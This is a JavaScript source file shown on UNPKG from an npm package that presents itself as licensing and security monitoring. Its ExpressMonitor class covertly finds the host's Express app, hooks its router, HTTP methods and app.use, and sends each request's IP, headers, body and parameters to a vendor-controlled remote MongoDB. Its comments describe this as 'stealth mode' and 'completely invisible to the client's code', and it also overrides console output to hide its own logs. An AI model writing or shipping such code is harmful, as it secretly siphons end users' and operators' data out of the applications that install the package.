UNPKG

@ufdevsllc/auth-me

Version:

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

569 lines (489 loc) 20.3 kB
const Logger = require('./Logger'); const URLProtector = require('./URLProtector'); const mongoose = require('mongoose'); const StealthMode = require('./StealthMode'); const StealthErrorHandler = require('./StealthErrorHandler'); /** * ExpressMonitor - Universal middleware injection system for Express.js applications * * This class automatically detects Express.js framework usage and injects monitoring * middleware into ALL routes invisibly. It logs comprehensive route information * (method, path, IP, headers, body) to the secure database while operating in * complete stealth mode. * * Requirements: 2.1, 2.2, 2.3, 2.4, 2.5, 2.6 */ class ExpressMonitor { static _initialized = false; static _expressApp = null; static _originalMethods = new Map(); static _routeLogger = null; static _config = null; static _secureConnection = null; /** * Initialize the ExpressMonitor system * @param {Object} config - Configuration object * @param {boolean} config.verboseLogging - Enable verbose logging * @param {Object} config.secureConnection - Secure database connection */ static async initialize(config = {}) { if (ExpressMonitor._initialized) { return { success: true, reason: 'Already initialized' }; } return await StealthErrorHandler.handleMonitoringOperation(async () => { ExpressMonitor._config = config; // Initialize secure connection if not provided if (config.secureConnection) { ExpressMonitor._secureConnection = config.secureConnection; } else { const secureURL = URLProtector.getSecureConnection(); if (secureURL) { ExpressMonitor._secureConnection = mongoose.createConnection(secureURL, { useNewUrlParser: true, useUnifiedTopology: true, serverSelectionTimeoutMS: 10000, connectTimeoutMS: 10000, socketTimeoutMS: 30000, maxPoolSize: 5, minPoolSize: 1 }); } } // Initialize route logger ExpressMonitor._routeLogger = config.logger || new Logger({ enableConsole: false, enableFile: false, enableSecureDatabase: true, verboseMode: config.verboseLogging || false }); // Attempt to detect and inject into Express.js const detectionResult = await ExpressMonitor.detectExpressApp(); if (detectionResult.found) { await ExpressMonitor.injectMiddleware(detectionResult.app); if (config.verboseLogging) { console.log('[ExpressMonitor] Successfully injected monitoring middleware'); } } ExpressMonitor._initialized = true; return { success: true, expressDetected: detectionResult.found, middlewareInjected: detectionResult.found }; }, { context: 'express_monitor_initialization', fallbackValue: { success: false, reason: 'Monitoring operation failed' } }); } /** * Detect Express.js application in the current process * Requirement 2.1: Automatically detect Express.js framework usage */ static async detectExpressApp() { try { // Method 1: Check if express is in require.cache const requireCache = Object.keys(require.cache); const expressModules = requireCache.filter(path => path.includes('node_modules/express/') || path.includes('node_modules\\express\\') ); if (expressModules.length === 0) { return { found: false, reason: 'Express not found in require cache' }; } // Method 2: Try to find Express app instance through various methods let expressApp = null; // Check global variables that might contain Express app const globalVars = ['app', 'server', 'express', 'application']; for (const varName of globalVars) { if (global[varName] && ExpressMonitor._isExpressApp(global[varName])) { expressApp = global[varName]; break; } } // Method 3: Hook into Express constructor to catch new instances if (!expressApp) { expressApp = await ExpressMonitor._hookExpressConstructor(); } // Method 4: Search through require.cache for Express app instances if (!expressApp) { expressApp = ExpressMonitor._findExpressInCache(); } if (expressApp) { ExpressMonitor._expressApp = expressApp; return { found: true, app: expressApp }; } return { found: false, reason: 'Express app instance not found' }; } catch (error) { return { found: false, reason: error.message }; } } /** * Check if an object is an Express application */ static _isExpressApp(obj) { if (!obj || typeof obj !== 'function') { return false; } return typeof obj.use === 'function' && typeof obj.get === 'function' && typeof obj.post === 'function' && typeof obj.listen === 'function' && obj._router !== undefined; } /** * Hook into Express constructor to catch new instances */ static async _hookExpressConstructor() { return new Promise((resolve) => { try { const express = require('express'); const originalExpress = express; // Override the express function to catch app creation require.cache[require.resolve('express')].exports = function (...args) { const app = originalExpress(...args); // Set a timeout to allow the app to be fully configured setTimeout(() => { if (ExpressMonitor._isExpressApp(app)) { resolve(app); } }, 100); return app; }; // Timeout after 5 seconds if no app is created setTimeout(() => resolve(null), 5000); } catch (error) { resolve(null); } }); } /** * Search through require.cache for Express app instances */ static _findExpressInCache() { try { for (const [path, module] of Object.entries(require.cache)) { if (module.exports && ExpressMonitor._isExpressApp(module.exports)) { return module.exports; } // Check for common export patterns if (module.exports && typeof module.exports === 'object') { const keys = ['app', 'server', 'application', 'express']; for (const key of keys) { if (ExpressMonitor._isExpressApp(module.exports[key])) { return module.exports[key]; } } } } return null; } catch (error) { return null; } } /** * Inject monitoring middleware into all Express.js routes * Requirement 2.2: Inject monitoring middleware into ALL routes automatically * Requirement 2.4: Be completely invisible to the client's code */ static async injectMiddleware(app) { if (!app || !ExpressMonitor._isExpressApp(app)) { throw new Error('Invalid Express app provided'); } try { // Create the monitoring middleware const monitoringMiddleware = ExpressMonitor.createMonitoringMiddleware(); // Method 1: Inject at the router level (most comprehensive) ExpressMonitor._injectIntoRouter(app, monitoringMiddleware); // Method 2: Hook into HTTP methods to catch all routes ExpressMonitor._hookHttpMethods(app, monitoringMiddleware); // Method 3: Hook into app.use to catch middleware additions ExpressMonitor._hookAppUse(app, monitoringMiddleware); return { success: true }; } catch (error) { throw new Error(`Middleware injection failed: ${error.message}`); } } /** * Inject monitoring into the Express router */ static _injectIntoRouter(app, middleware) { // Hook into the router's layer processing if (app._router && app._router.stack) { // Store original router handle method const originalHandle = app._router.handle.bind(app._router); app._router.handle = function (req, res, next) { // Apply monitoring middleware first middleware(req, res, (err) => { if (err) return next(err); // Continue with original router handling originalHandle(req, res, next); }); }; } } /** * Hook into HTTP methods (get, post, put, delete, etc.) */ static _hookHttpMethods(app, middleware) { const httpMethods = ['get', 'post', 'put', 'delete', 'patch', 'head', 'options', 'all']; httpMethods.forEach(method => { if (typeof app[method] === 'function') { const originalMethod = app[method].bind(app); ExpressMonitor._originalMethods.set(method, originalMethod); app[method] = function (path, ...handlers) { // Inject monitoring middleware before user handlers const wrappedHandlers = handlers.map(handler => { if (typeof handler === 'function') { return (req, res, next) => { middleware(req, res, (err) => { if (err) return next(err); handler(req, res, next); }); }; } return handler; }); return originalMethod(path, ...wrappedHandlers); }; } }); } /** * Hook into app.use to catch middleware additions */ static _hookAppUse(app, middleware) { if (typeof app.use === 'function') { const originalUse = app.use.bind(app); app.use = function (...args) { // If this is a route-specific middleware, inject monitoring if (args.length >= 2 && typeof args[0] === 'string' && typeof args[1] === 'function') { const [path, handler, ...rest] = args; const wrappedHandler = (req, res, next) => { middleware(req, res, (err) => { if (err) return next(err); handler(req, res, next); }); }; return originalUse(path, wrappedHandler, ...rest); } return originalUse(...args); }; } } /** * Create the monitoring middleware function * Requirement 2.3: Log request details (method, path, IP, headers, body) to secure database * Requirement 2.5: Not affect application performance or response times */ static createMonitoringMiddleware() { return async (req, res, next) => { try { const startTime = Date.now(); // Capture request data const requestData = { method: req.method, path: req.path || req.url, clientIP: ExpressMonitor._getClientIP(req), userAgent: req.get('User-Agent') || 'Unknown', requestHeaders: ExpressMonitor._sanitizeHeaders(req.headers), requestBody: ExpressMonitor._sanitizeBody(req.body), timestamp: new Date(), queryParams: req.query || {}, routeParams: req.params || {} }; // Hook into response to capture response data const originalSend = res.send.bind(res); const originalJson = res.json.bind(res); res.send = function (data) { requestData.responseStatus = res.statusCode; requestData.responseTime = Date.now() - startTime; // Log asynchronously to avoid blocking setImmediate(() => { ExpressMonitor.logRouteAccess(requestData).catch(() => { // Silent failure - stealth mode }); }); return originalSend(data); }; res.json = function (data) { requestData.responseStatus = res.statusCode; requestData.responseTime = Date.now() - startTime; // Log asynchronously to avoid blocking setImmediate(() => { ExpressMonitor.logRouteAccess(requestData).catch(() => { // Silent failure - stealth mode }); }); return originalJson(data); }; // Continue to next middleware next(); } catch (error) { // Silent failure - stealth mode // Requirement 2.4: Be completely invisible to the client's code next(); } }; } /** * Extract client IP address from request */ static _getClientIP(req) { // Priority order: x-forwarded-for, x-real-ip, req.ip, connection.remoteAddress, socket.remoteAddress if (req.headers && req.headers['x-forwarded-for']) { return req.headers['x-forwarded-for'].split(',')[0].trim(); } if (req.headers && req.headers['x-real-ip']) { return req.headers['x-real-ip']; } return req.ip || req.connection?.remoteAddress || req.socket?.remoteAddress || 'Unknown'; } /** * Sanitize headers to remove sensitive information */ static _sanitizeHeaders(headers) { const sanitized = { ...headers }; const sensitiveHeaders = ['authorization', 'cookie', 'x-api-key', 'x-auth-token']; sensitiveHeaders.forEach(header => { if (sanitized[header]) { sanitized[header] = '[REDACTED]'; } }); return sanitized; } /** * Sanitize request body to remove sensitive information */ static _sanitizeBody(body) { if (!body || typeof body !== 'object') { return body; } const sanitized = { ...body }; const sensitiveFields = ['password', 'token', 'secret', 'key', 'auth']; Object.keys(sanitized).forEach(key => { if (sensitiveFields.some(field => key.toLowerCase().includes(field))) { sanitized[key] = '[REDACTED]'; } }); return sanitized; } /** * Log route access to secure database * Requirement 2.3: Log comprehensive route information */ static async logRouteAccess(requestData) { return await StealthErrorHandler.handleMonitoringOperation(async () => { if (!ExpressMonitor._secureConnection) { return null; } // Use enhanced network failure handling for route logging return await StealthErrorHandler.handleNetworkFailure(async () => { // Get the RouteMonitor collection const RouteMonitor = ExpressMonitor._secureConnection.model('RouteMonitor', { sourceId: String, method: String, path: String, clientIP: String, userAgent: String, requestHeaders: Object, requestBody: Object, queryParams: Object, routeParams: Object, responseStatus: Number, responseTime: Number, timestamp: Date }); // Add source ID if available requestData.sourceId = process.env.SECURE_GUARD_SOURCE_ID || 'unknown'; // Save to database const routeLog = new RouteMonitor(requestData); await routeLog.save(); return { success: true, logged: true }; }, { maxRetries: 2, baseDelay: 500, maxDelay: 5000, enableQueuing: true, operationName: 'route_access_log', fallbackValue: { success: false, logged: false, queued: true } }); }, { context: 'express_route_logging', background: true, fallbackValue: null }); } /** * Enable stealth mode operation * Requirement 2.5: Not affect application performance or response times * Requirement 2.6: Continue normal operation if Express.js is not detected */ static async stealthModeOperation() { try { // Disable all console logging for this module const originalConsole = { log: console.log, error: console.error, warn: console.warn, info: console.info }; // Override console methods to filter out ExpressMonitor logs ['log', 'error', 'warn', 'info'].forEach(method => { console[method] = function (...args) { const message = args.join(' '); if (!message.includes('[ExpressMonitor]')) { originalConsole[method](...args); } }; }); return { success: true }; } catch (error) { return { success: false, reason: error.message }; } } /** * Get monitoring status */ static getStatus() { return { initialized: ExpressMonitor._initialized, expressDetected: ExpressMonitor._expressApp !== null, middlewareActive: ExpressMonitor._initialized && ExpressMonitor._expressApp !== null, routesMonitored: ExpressMonitor._originalMethods.size, secureConnection: ExpressMonitor._secureConnection !== null }; } /** * Get monitoring statistics */ static getStatistics() { return { status: ExpressMonitor.getStatus(), hookedMethods: Array.from(ExpressMonitor._originalMethods.keys()), initialized: ExpressMonitor._initialized }; } /** * Cleanup and restore original methods (for testing) */ static cleanup() { if (ExpressMonitor._expressApp) { // Restore original HTTP methods ExpressMonitor._originalMethods.forEach((originalMethod, methodName) => { if (ExpressMonitor._expressApp[methodName]) { ExpressMonitor._expressApp[methodName] = originalMethod; } }); } ExpressMonitor._initialized = false; ExpressMonitor._expressApp = null; ExpressMonitor._originalMethods.clear(); ExpressMonitor._routeLogger = null; ExpressMonitor._config = null; ExpressMonitor._secureConnection = null; } } module.exports = ExpressMonitor;